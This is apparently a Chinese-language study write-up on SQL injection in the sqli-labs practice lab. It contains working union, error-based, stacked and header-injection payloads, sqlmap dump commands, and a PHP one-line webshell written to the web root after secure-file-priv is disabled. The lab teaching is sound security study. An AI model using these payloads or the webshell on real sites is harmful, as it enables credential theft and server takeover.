SQL注入万字详解,基于sqli-labs(手注+sqlmap)

目录

一、什么是SQL

1.什么是SQL

2.SQL的作用

3.MySQL基础知识

4.SQL增、删、改语句

*5.SQL查询语句

二、什么是SQL注入

1.SQL注入原理:

2.SQL注入:

3.SQL注入危害:

4.SQL注入技术分类:

5.防御方法:使用参数化查询

6.SQL注入一般顺序

判断SQL语句闭合方式原理

7.万能密码

8.?id=-1' union select 1,2,3--+为什么用-1

三、sqlmap的使用

四、SQL注入分类(基于sqli-labs)

1.联合查询注入

sqli-labs/less-1 字符型注入

2.报错注入

报错注入原理

extractvalue() 、updatexml()函数

注入过程

sqli-labs/less-5

3.布尔型盲注

4.时间型盲注

5.堆叠注入(stacked injection)

什么是堆叠注入

与union联合查询注入对比

sqli-labs/less-38

6.请求头注入

请求方式

消息头

常见HTTP头注入

(1)UA头注入(User-Agent)

sqli-labs/less-18

(2) Referer注入

sqli-labs/less-19

(3)Cookie注入

sqli-labs/less-20

7.sql注入写马

文件上传漏洞:

一句话木马

重要函数:into dumpfile()、into outfile()、load_file()

注入过程:

sqli-labs/less-2

​五、 SQL注入防御

六、SQL注入常见绕过方式


学习参考:

SQL注入(sqli-labs)

SQL入门教程从零基础入门到精通,看完这一篇就够了

一、什么是SQL

1.什么是SQL

SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。

SQL 是用于访问和处理数据库的标准的计算机语言。

  • SQL 指结构化查询语言

  • SQL 使我们有能力访问数据库

  • SQL 是一种 ANSI 的标准计算机语言

2.SQL的作用

SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。

SQL 语句用于取回和更新数据库中的数据。

3.MySQL基础知识

MySQL默认的数据库:

sys、mysql、performance_schema、information_schema

information_schema存放着所有的数据库信息(5.0版本以上才有这个库)

这个库中的三个表:

  • SCHEMATA 该表存放用户创建的所有数据库库名
    • SCHEMA_NAME 字段记录数据库库名
  • TABLES 该表存放用户创建的所有数据库库名表名
    • TABLE_SCHEMA 字段记录数据库名
    • TABLE_NAME 字段记录表名
  • COLUMNS 该表存放用户创建的所有数据库库名表名字段名(列名)
    • TABLE_SCHEMA 字段记录数据库名
    • TABLE_NAME 字段记录表名
    • COLUMN_NAME 字段记录字段名

phpMyAdmin是提供 MySQL数据库管理和操作的可视化工具,方便对MySQL 数据库进行管理 

4.SQL增、删、改语句

SQL 语句对大小写不敏感,SELECT 等效于 select

数据库:

创建数据库students并选择字符集
CREATE DATABASE students charset utf8;

删除数据库xxx
drop datebases xxx;

选择进入数据库xxx
use xxx;

查看数据库
show databases;

数据表:

#创建数据表student,其中包含4列id name sex aihao(要指明数据类型)
CREATE TABLE student
(
	id int,
    name varchar(10),
    sex char(1),
    aihao varchar(100)
);


#查看数据表student
SELECT * FROM student;

#删除数据表student
drop table student;

#修改数据表student名称为user
rename table student to user;

#查看数据表student中的所有列的信息
show full columns from student;

数据列:

#插入数据列和数据行
insert into student
(
    id,name,sex,aihao
)
values
(
    1,'LLINELL','女','play game'
);

#删除列old
alter table student drop old;

#删除行
delete from student where aihao='play game';

#增加一列内容(最大3位,最小1位)
alter table student add old decimal(3,1);

#修改所有年龄old为10
update student set old=10;

#修改id=1的行name为line,old为20
update student set name='line',old=20 where id='1';

*5.SQL查询语句

MySQL 查询语句大全_mysql查询语句-CSDN博客

#union联合查询(并集)
select  id,  f1,  f2  from student
union
select  id,  c1,  c2  from teacher;

 基本了解了一下SQL


二、什么是SQL注入

1.SQL注入原理:

Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

2.SQL注入:

使用某些方法,在原来的SQL语句基础上,添加了一段SQL并执行。从而达到某些不被管理员允许的目的。

3.SQL注入危害:

一般使用SQL注入,能拿数据库里面的数据,进而导致数据泄露。

4.SQL注入技术分类:

联合查询注入:可以使用union注入

报错注入:页面会返回错误信息(将数据信息返回在报错中)

型布尔盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

堆查询注入:可以同时执行多条语句

5.防御方法:使用参数化查询

数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行,

而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

6.SQL注入一般顺序

sql语法中引号是必须成对出现否则就会报错

1.查找注入点

2.判断注入类型

   利用逻辑判断正误:and 1=1和and1=2

(都能正常显示界面,为字符型注入)(数字型注入只有1=1时正常显示)

3.如果字符型,找到他的闭合方式 ' " ') ")

   闭合的作用:手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句。

4.判断查询列数,group by或order by

5.查询回显位

6.爆库名

7.爆表名

8.爆列名(字段名)

9.爆字段内容

判断SQL语句闭合方式原理

Mysql数据库的包容性比较强,如果输错了数据的类型,Mysql数据库会自动将其转换成正确的数据类型,比如输入1)、1"  等,只要数字后面的字符不是闭合符,数据库都会把你输入的错误的数据转换成正确的数据类型。

若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。

7.万能密码

'or 1=1 #

'先闭合前面的,or 1=1恒成立,一定是真,所以它会查询所有的账号密码,#注释后面的内容,后面的内容不会执行。

注释符号“--+’或‘#’或'%23'可以使它们后面的语句不被执行:

get请求传参时字符串中不允许出现空格和特殊字符,故注释符号可以为‘--+’‘--%20’‘%23’等,可用urlencode编码解决这个问题。

! # + ? @ : $ 空格
%21 %23 %2b %3F %40 %3A %24 %20

重要函数:group_concat()函数

group_concat(xxx):将分组中括号里对应的字符串进行连接,每个字符串之间以特定符号分隔开。

group_concat()的作用:确保所有查询信息能放到一行显示出来(下面例题中以逗号分隔开)

8.?id=-1' union select 1,2,3--+为什么用-1

页面只会读取第一行,所以让第一行不存在就会回显下一行(也可用0,负数),由此找到回显位

三、sqlmap的使用

SQLMap使用教程:从入门到入狱详细指南-CSDN博客

自动选择y:--batch

四、SQL注入分类(基于sqli-labs

1.联合查询注入

联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

sqli-labs/less-1 字符型注入

法一 手注:

页面提示  

Please input the ID as parameter with numeric value

提示用户应该以数值形式输入一个ID作为参数

尝试输入?id=1,发现注入点(输入?id=2时页面不同)

逻辑?id=1 and 1=2正确,回显正常,判断为字符型注入

判断为单引号 ' 闭合(手工闭合后使用--+注释)

判断列数,确定是3列(group by不会被防火墙发现)

?id=1' order by 4--+ 

查询回显位,发现回显位在2,3

?id=-1' union select 1,2,3--+ 

爆当前数据库及版本号

?id=-1' union select 1,version(),database()--+ 

爆数据表名

information_schema.tables表示该数据库下的tables表,点表示下一级。
where后面是条件,group_concat()是将查询到结果连接起来

?id=0' union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema='security'--+
#查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

爆user表中的所有数据列名

?id=-1' union select 1,2,group_concat(column_name) 
from information_schema.columns where table_name='user'--+
#查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内容

爆user表中username列的值

?id=-1' union select 1,2,group_concat(username) from security.users--+ 

爆user表中password列的值

?id=-1' union select 1,2,group_concat(password) from security.users--+ 

一起爆user表中的username~password的值(使用~分隔)

?id=-1' union select 1,2,group_concat(username,'~',password) from security.users--+

法二 sqlmap

还是先找到注入点

查看所有数据库

python sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs

查看当前数据库 'security'

python sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-db

查看(-D)指定数据库security的所有表

python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security --tables

查看(-T)指定表users的所有列

python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users --columns

查看(-C)指定列下的数据username、password

python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C username --dump
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C password --dump
python sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump

2.报错注入

'~'    ASCII码是0x7e           '^'     ASCII码是0x5e

报错注入原理

由于后台没有对数据库的信息做过滤,会输出到前台显示,那么可以通过制造报错函数,将查询语句带入到数据库中,以报错信息显示出来。(页面上没有回显)

extractvalue() 、updatexml()函数

substring() 函数、limit

extractvalue()	--查询节点内容
updatexml()		--修改查询到的内容

SQL 报错注入详解_sql报错注入-CSDN博客

sql注入中报错注入函数extractvalue和updatexml函数的原理及使用

注意:

(1)它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。

插入'~'和'^'等特殊字符是非法的,就会产生报错。

(2)extractvalue() 能查询字符串的最大长度为 32,如果结果超过 32位,就要用 substring() 函数截取limit 分页,一次最多查看32 位。
 

limit 0,1:表示从第0行开始,显示1行,从0开始计数

substr((xxx),1,1):表示从第1个字母开始,显示1个字母,从1开始计数

(3)使用 concat 时,必须要把 database() 等注入语句写到不符合 xpath 的后面(例如 0x7e),因为报错时,从不符合的位置开始输出

注入过程

1、尝试用单引号报错

2、爆数据库名

' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3.爆表名

' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e))--+
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),0x7e),1)--+

 4.爆列名

' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e))--+
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),0x7e),1)--+

5.获取列中的所有username、password字段内容

' and extractvalue(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e))--+
' and updatexml(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e),1)--+

sqli-labs/less-5

法一  手注:

根据页面提示,尝试输入?id=1,发现注入点

尝试用单引号报错

爆当前数据库

?id=1' and extractvalue(1,concat(0x7e,(select database())))--+

爆数据表

提示子查询返回超过1行,利用limit 0,1逐行显示

?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+

发现第四张表名为users

爆表users中的数据列名  也是超过一行的

?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))--+

发现username和password

爆username和password内容

#limit逐行显示
?id=1' and extractvalue(1,concat(0x7e,(select concat(username,'^',password) from users limit 0,1),0x7e))--+
#substring从第一个字符往后显示30个
?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,'^',password),1,30) from users),0x7e))--+

法二  sqlmap

找到注入点后,过程跟union联合注入一样

爆数据库、数据表、指定表中的列、username password列中的所有内容
 

python sqlmap.py -u http://sqli-labs/Less-2/?id=1 --current-db --batch

python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security --tables --batch

python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security -T users --columns --batch

python sqlmap.py -u http://sqli-labs/Less-2/?id=1 -D security -T users -C username,password --dump --batch

3.布尔型盲注

布尔盲注(ctfhub)_布尔盲注脚本-CSDN博客

4.时间型盲注

时间盲注(ctfhub)_使用burpsuite进行半自动化注入-CSDN博客

以之前做过的ctfhub上面两题学习,虽然简单 但以三种方法解答详细

5.堆叠注入(stacked injection)

堆叠注入基础及实操(基于sqli-labs-less38)_sql堆叠盲注-CSDN博客

什么是堆叠注入

在SQL数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。

与union联合查询注入对比

  • union联合查询注入执行的语句类型是有限的,可以用来执行查询语句。
  • 堆叠注入可以执行的是任意的语句,如增删改等。

sqli-labs/less-38

目标:

  1. 使用堆叠注入往第38关数据库注入新账号;
  2. 查询新账号是否注入成功。

根据页面提示,尝试输入?id=1,发现注入点(输入?id=2时页面不同)

逻辑?id=1 and 1=2正确,回显正常,判断为字符型注入

判断为单引号 ' 闭合(手工闭合后使用--+注释) 

判断列数,确定是3列(group by不会被防火墙发现) 

?id=1' order by 4--+ 

查询回显位,说明可以尝试union联合查询注入。 

?id=-1' union select 1,2,3--+

与less-1一样,union联合注入获取库名,表名,字段名

?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users--+

堆叠注入

往后台数据库增加一个账号。

#插入数据列和数据行
?id=1';insert into users(id,username,password) values ('100','LLINELL','666')--+

语句执行后回显如下

查询?id=100,回显  注入成功

使用sqlmap爆数据表中的列时,可看见列的数据类型信息,便于增加账户时确定数据类型

6.请求头注入

【web安全】——HTTP请求头注入

有关请求头注入--less18-22--7_sqli-labs less18-CSDN博客

请求方式

GET、POST、PUT、HEAD、DELETE、CONNECT、OPTIONS、TRACE等。

消息头

GET后面的/代表路径,HTTP/1.1代表HTTP的版本。

HOST表示请求的服务器网址

User-Agent表示发出请求的用户信息

Accept表示指定客户端能够接收的内容类型

Cookie 就是一段字符串,是浏览器保存服务器返回数据的方法,通常保存用户身份信息

referrer是HTTP请求header的报文头,用于指明当前流量的来源参考页面。

通过这个信息,我们可以知道访客是怎么来到当前页面的(直接输入网址或者其他页面中的链接点进来的)。

常见HTTP头注入

找到注入点后,确定是什么头注入,然后采用报错注入方式进行注入

可用Burpsuite、HackBar

(1)UA头注入(User-Agent)

注入方式(用and和or都可以)

User-Agent: ' and updatexml(1,concat('~',database()),1) and '

sqli-labs/less-18

法一 HackBar手注

尝试构造合法输入admin admin,发现服务器对user-agent进行了回显,因此该题可以尝试进行user-agent请求头注入

查看源码,发现对于输入的username和password都有进行检查,但是往下看会发现一个插入的sql语句,当输入正确的账户名和密码时,User-Agent字段内容就会出现在页面上。

可以确定user-agent注入。

尝试进行报错注入,获取当前数据库名称

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

爆所有数据库名

' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '

爆数据表名

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or '

爆users表中的username、password数据列

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '

法二 sqlmap

注意:--level 3  等级为3级以上时才能对HTTP头注入

通过具体问题尝试决定是否添加

--risk 3 --user-agent="1"
--risk 3 --referer="1"
--risk 3 --cookie="uname=dhakkan"
爆当前数据库,数据表,数据列

python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" --current-db --level 3 --risk 3

python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security --tables --level 3 --risk 3

python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security -T users --columns --level 3 --risk 3

python sqlmap.py -u http://sqli-labs/Less-18/ --batch --data="uname=admin&passwd=admin&submit=Submit" -D security -T users -C id,username,password --dump --level 3 --risk 3

(2) Referer注入

sqli-labs/less-19

注入方式:

Referer: ' and updatexml(1,concat('~',database()),1) and '

sqlmap(跟UA头类似)

python sqlmap.py -u http://sqli-labs/Less-19/ --batch --data="uname=admin&passwd=admin&submit=Submit" --current-db --level 3

(3)Cookie注入

sqli-labs/less-20

注入方式:

Cookie:user=admin ' and updatexml(1,concat('~',database()),1) and '

sqlmap

这题是post请求,所以先使用bp抓包,然后将数据包保存为.txt文件

在Cookie 处加上*代表注入点

用-r 选择目标txt文件

python sqlmap.py -r E:\date.txt --current-db --batch

python sqlmap.py -r E:\date.txt -D security --tables --batch

python sqlmap.py -r E:\date.txt -D security -T users --columns --batch

python sqlmap.py -r E:\date.txt -D security -T users -C id,username,password --dump --batch

7.sql注入写马

MySQL写shell | 狼组安全团队公开知识库

sqli-labs关卡7(结合文件上传漏洞+一句马+菜刀)通关思路

前提知识:

文件上传漏洞:

文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件。如果恶意用户上传了可执行的文件或者脚本,就可以利用上传的恶意文件控制整个网站,这个恶意文件被称为 WebShell ,也可称为一种网页后门。

一句话木马

<?php eval(@$_POST['a']); ?>

eval是执行命令的函数
$_POST['a']是接收的数据。

eval函数把接收的数据当作PHP代码来执行。这样就能让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

重要函数:into dumpfile()、into outfile()、load_file()

https://www.cnblogs.com/7-58/p/14101610.html

注入过程:

  • 1.找到注入点
  • 2.判断查询列数
  • 3.查询回显位
  • 4.找绝对路径
  • 5.用into outfile函数写入一句话木马
  • 6.蚁剑连接

sqli-labs/less-2

找到注入点,逻辑?id=1 and 1=2错误,判断为数字型注入

判断列数,确定是3列

?id=1 order by 4--+ 

查询回显位

?id=-1 union select 1,2,3--+ 

找绝对路径  D:\phpstudy_pro\Extensions\MySQL5.7.26\data\

@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径。
?id=-1 union select 1,2,@@datadir--+ 

用into outfile函数(或into dumpfile函数)写入一句话木马(基于UNION联合查询)

注入语句:
#把一句话木马shell.php写到服务器绝对路径中。(此处我知道less-2的路径就写在里面了)
#两个\\防转义
http://sqli-labs/Less-2/?id=1 union select 1,2,"<?php eval($_REQUEST[1]); ?>" into dumpfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-2\\shell.php" --+

报错了

解决bug:the --secure-file-priv option so it cannot execute this statement

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

--secure-file-priv 选项用于限制MySQL的文件导入导出操作到特定目录。当该选项被设置时,只有在这个目录下的文件才能被操作。

因此需要配置环境:在mysql.ini配置文件中设置这个参数,值为空

点击另存为窗口,编码选择ANSI,保存。 重启服务器以生效。

注入成功:

测试注入:

http://sqli-labs/Less-2/shell.php?1=phpinfo();

也可用蚁剑连接测试:

成功进入后门

五、 SQL注入防御

大佬博客~

SQL注入的四种防御方法-CSDN博客

防止SQL注入攻击的10种有效方法_sql注入防范措施-CSDN博客

六、SQL注入常见绕过方式

大佬博客~

常见sql注入绕过方法-CSDN博客

SQL注入WAF绕过-CSDN博客 

相关推荐

  1. sql注入语句

    2024-07-22 03:36:02       25 阅读
  2. SQL注入漏洞扫描---sqlmap

    2024-07-22 03:36:02       31 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-22 03:36:02       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-22 03:36:02       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-22 03:36:02       45 阅读
  4. Python语言-面向对象

    2024-07-22 03:36:02       55 阅读

热门阅读

  1. Servlet会话跟踪基础

    2024-07-22 03:36:02       15 阅读
  2. 实变函数精解【6】

    2024-07-22 03:36:02       15 阅读
  3. springSecurity学习之springSecurity流程

    2024-07-22 03:36:02       14 阅读
  4. Symfony表单系统详解:构建强大且灵活的表单

    2024-07-22 03:36:02       15 阅读
  5. HarmonyOS NEXT零基础入门到实战-第三部分

    2024-07-22 03:36:02       13 阅读
  6. 计算机网络之TCP/IP协议栈

    2024-07-22 03:36:02       18 阅读
  7. GitHub每日最火火火项目(7.21)

    2024-07-22 03:36:02       17 阅读
  8. 【HTML】基础用法

    2024-07-22 03:36:02       16 阅读
  9. 今日总结:雪花算法,拉取在线用户

    2024-07-22 03:36:02       18 阅读